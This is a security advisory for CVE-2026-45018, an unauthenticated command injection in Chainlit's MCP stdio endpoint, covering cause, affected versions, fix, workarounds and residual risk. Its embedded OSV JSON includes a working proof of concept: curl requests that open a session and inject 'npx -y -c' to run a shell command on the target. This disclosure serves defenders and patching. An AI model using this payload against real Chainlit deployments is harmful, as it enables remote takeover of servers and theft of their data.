GHSA-W3FX-MC44-MF6J严重已审查

Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution

OSV 1.4.0 · github-reviewed · 修改于 2026-08-26 03:19

发布时间

2026-08-26 03:19

GitHub 审查时间

2026-08-26 03:19

NVD 发布时间

—

源文件

advisories/github-reviewed/2026/08/GHSA-w3fx-mc44-mf6j/GHSA-w3fx-mc44-mf6j.json

公告说明

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions


CVE	CVE-2026-45018
Affected	`>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support)
Patched	2.12.0 (releasing 2026-08-25)

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats as "allow everything." If a developer removes the line from their config, any executable can be invoked.

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

标识信息

别名 / CVE

CVE-2026-45018

CWE

CWE-78

软件生态

PyPI

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

原始 OSV JSON

{
  "id": "GHSA-w3fx-mc44-mf6j",
  "aliases": [
    "CVE-2026-45018"
  ],
  "details": "### Am I affected?\n\nOnly if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session.\n\n### Summary\n\nWhen MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `stdio` transport accepts a user-controlled `fullCommand` string. The `validate_mcp_command()` function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass `npx -y -c 'ARBITRARY COMMAND'` to execute arbitrary shell commands on the server with the privileges of the Chainlit process.\n\n\n### Affected / patched versions\n\n| | |\n|---|---|\n| CVE | CVE-2026-45018 |\n| Affected | `>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) |\n| Patched | **2.12.0** (releasing 2026-08-25) |\n\n### Details\n\n`validate_mcp_command()` in `backend/chainlit/mcp.py` uses `shlex.split()` to parse the command string and validates only the executable name (e.g., `npx`, `uvx`) against `config.features.mcp.stdio.allowed_executables`. Arguments are returned unchecked and passed directly to `StdioServerParameters`, which spawns a subprocess.\n\nSince `npx` supports `-c` for arbitrary shell execution, `npx -y -c 'PAYLOAD'` passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.\n\nThere is a related issue in the Pydantic model: `allowed_executables` defaults to `None`, and the validation code treats `None` as \"allow everything.\" If a developer removes the `allowed_executables` line from their config, any executable can be invoked.\n\nThe `/mcp` route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime `features.mcp.enabled` check and (where configured) the authentication check on `/mcp` prevent exploitation.\n\n**Vulnerable code:** `backend/chainlit/mcp.py` — `validate_mcp_command()`\n**Sink:** `backend/chainlit/server.py` — `StdioServerParameters`\n\n### PoC\n\nTested against Chainlit 2.11.0 with `features.mcp.enabled = true` and default settings.\n\n1. Establish a Socket.IO session to get a valid `sessionId`:\n\n```bash\nEIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \\\n  | python3 -c \"import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])\")\n\ncurl -s -X POST \\\n  \"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID\" \\\n  -d '40{\"sessionId\":\"rce-proof\",\"userEnv\":\"{}\",\"clientType\":\"webapp\"}'\n```\n\n2. Send the command injection payload:\n\n```bash\ncurl -s -X POST 'http://TARGET:8000/mcp' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"sessionId\": \"rce-proof\",\n    \"clientType\": \"stdio\",\n    \"name\": \"poc\",\n    \"fullCommand\": \"npx -y -c '\\''id > /tmp/rce_proof'\\''\"\n  }'\n```\n\nThe server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.\n\n### Impact\n\n**Critical.** An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.\n\n### Fix\n\nChainlit 2.12.0 removes `fullCommand` from the client request entirely. stdio MCP servers are now declared by the developer in `.chainlit/config.toml` under `[[features.mcp.servers]]` and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no `allowed_executables` mechanism anymore. Per-server environment variables are configured via an `env` mapping on the server entry rather than supplied by the client.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).\n- Restrict outbound process-spawning / network capability from the host running Chainlit.\n- Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.\n\n### Upgrading to 2.12.0\n\n> **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check.\n\n### Residual risk after upgrading\n\n- On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. An anonymous client can therefore still cause **developer-configured** stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.\n- No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.\n\n### Credits\n\nVipin <[email protected]>\nSPL <[email protected]>",
  "summary": "Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "2.4.0rc0"
            },
            {
              "fixed": "2.12.0"
            }
          ]
        }
      ],
      "package": {
        "name": "chainlit",
        "ecosystem": "PyPI"
      },
      "database_specific": {
        "last_known_affected_version_range": "<= 2.11.1"
      }
    }
  ],
  "modified": "2026-08-25T19:19:28Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    }
  ],
  "published": "2026-08-25T19:19:28Z",
  "references": [
    {
      "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j",
      "type": "WEB"
    },
    {
      "url": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9",
      "type": "WEB"
    },
    {
      "url": "https://github.com/Chainlit/chainlit",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2026-08-25T19:19:28Z"
  }
}